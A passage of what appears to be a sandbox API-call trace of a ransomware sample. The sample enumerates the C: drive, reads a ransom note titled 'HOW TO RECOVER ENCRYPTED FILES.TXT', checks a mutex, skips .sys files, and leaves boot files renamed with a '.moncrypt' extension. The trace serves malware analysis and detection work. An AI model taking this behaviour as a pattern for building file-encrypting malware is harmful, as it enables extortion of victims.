ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3b4bac20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x522d20 [0040.825] FileTimeToLocalFileTime (in: lpFileTime=0x18f830, lpLocalFileTime=0x18f7b0 | out: lpLocalFileTime=0x18f7b0) returned 1 [0040.825] FileTimeToDosDateTime (in: lpFileTime=0x18f7b0, lpFatDate=0x18f7fe, lpFatTime=0x18f7fc | out: lpFatDate=0x18f7fe, lpFatTime=0x18f7fc) returned 1 [0040.825] FindClose (in: hFindFile=0x522d20 | out: hFindFile=0x522d20) returned 1 [0040.825] CreateFileW (lpFileName="C:\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0040.825] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fa04*=0) returned 0x0 [0040.826] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18fa04*=0) returned 0x649 [0040.826] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fa04*=0) returned 0x0 [0040.826] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fa04*=0) returned 0x0 [0040.826] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18fa04*=0) returned 0x649 [0040.826] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fa04*=0) returned 0x0 [0040.826] ReadFile (in: hFile=0x168, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18fa28*=0x649, lpOverlapped=0x0) returned 1 [0040.826] CloseHandle (hObject=0x168) returned 1 [0040.826] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0040.826] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0040.826] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0040.826] FileTimeToLocalFileTime (in: lpFileTime=0x18fbb8, lpLocalFileTime=0x18fac4 | out: lpLocalFileTime=0x18fac4) returned 1 [0040.826] FileTimeToDosDateTime (in: lpFileTime=0x18fac4, lpFatDate=0x18fb86, lpFatTime=0x18fb84 | out: lpFatDate=0x18fb86, lpFatTime=0x18fb84) returned 1 [0040.826] GlobalLock (hMem=0x440004) returned 0x520100 [0040.826] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.826] GlobalUnlock (hMem=0x440004) returned 0 [0040.826] GlobalLock (hMem=0x440004) returned 0x520100 [0040.826] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.826] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.826] GlobalUnlock (hMem=0x440004) returned 0 [0040.826] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.826] GlobalUnlock (hMem=0x44000c) returned 0 [0040.826] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.827] CharLowerBuffW (in: lpsz="hiberfil.sys", cchLength=0xc | out: lpsz="hiberfil.sys") returned 0xc [0040.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.827] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18ea64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0040.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\hiberfil.sys", cchWideChar=15, lpMultiByteStr=0x18ea40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\hiberfil.sys", lpUsedDefaultChar=0x0) returned 15 [0040.827] CharLowerBuffW (in: lpsz=".sys", cchLength=0x4 | out: lpsz=".sys") returned 0x4 [0040.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".sys", cchWideChar=4, lpMultiByteStr=0x18ea64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".sysw", lpUsedDefaultChar=0x0) returned 4 [0040.828] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0040.828] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4ecf3280, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0040.828] FileTimeToLocalFileTime (in: lpFileTime=0x18fbb8, lpLocalFileTime=0x18fac4 | out: lpLocalFileTime=0x18fac4) returned 1 [0040.828] FileTimeToDosDateTime (in: lpFileTime=0x18fac4, lpFatDate=0x18fb86, lpFatTime=0x18fb84 | out: lpFatDate=0x18fb86, lpFatTime=0x18fb84) returned 1 [0040.828] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.828] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.828] GlobalUnlock (hMem=0x44000c) returned 0 [0040.828] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.828] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.828] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.828] GlobalUnlock (hMem=0x44000c) returned 0 [0040.828] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.828] GlobalUnlock (hMem=0x440004) returned 0 [0040.828] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.828] CharLowerBuffW (in: lpsz="pagefile.sys", cchLength=0xc | out: lpsz="pagefile.sys") returned 0xc [0040.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18ea5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pú\x18", lpUsedDefaultChar=0x0) returned 1 [0040.829] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18ea64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0040.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\pagefile.sys", cchWideChar=15, lpMultiByteStr=0x18ea40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\pagefile.sys", lpUsedDefaultChar=0x0) returned 15 [0040.829] CharLowerBuffW (in: lpsz=".sys", cchLength=0x4 | out: lpsz=".sys") returned 0x4 [0040.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".sys", cchWideChar=4, lpMultiByteStr=0x18ea64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".sysw", lpUsedDefaultChar=0x0) returned 4 [0040.829] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0040.829] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3c07790, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3c07790, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0040.829] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0040.829] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0040.829] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0040.829] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0040.829] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0040.829] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0040.829] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0040.829] GetLastError () returned 0x12 [0040.829] FindClose (in: hFindFile=0x526178 | out: hFindFile=0x526178) returned 1 [0040.830] GlobalLock (hMem=0x440004) returned 0x520100 [0040.830] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.830] GlobalUnlock (hMem=0x440004) returned 0 [0040.830] GlobalLock (hMem=0x440004) returned 0x520100 [0040.830] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.830] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.830] GlobalUnlock (hMem=0x440004) returned 0 [0040.830] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.830] GlobalUnlock (hMem=0x44000c) returned 0 [0040.830] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61bc8, cbMultiByte=3, lpWideCharStr=0x18ead8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0040.830] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x526178 [0040.830] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0040.830] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.moncrypt", cAlternateFileName="BOOTMG~1.MON")) returned 1 [0040.830] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x20c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSECT.BAK.moncrypt", cAlternateFileName="BOOTSE~1.MON")) returned 1 [0040.830] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0040.830] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0040.830] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0040.830] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b4bac20, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3b4bac20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3b4bac20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0040.830] FileTimeToLocalFileTime (in: lpFileTime=0x18fbb8, lpLocalFileTime=0x18fac8 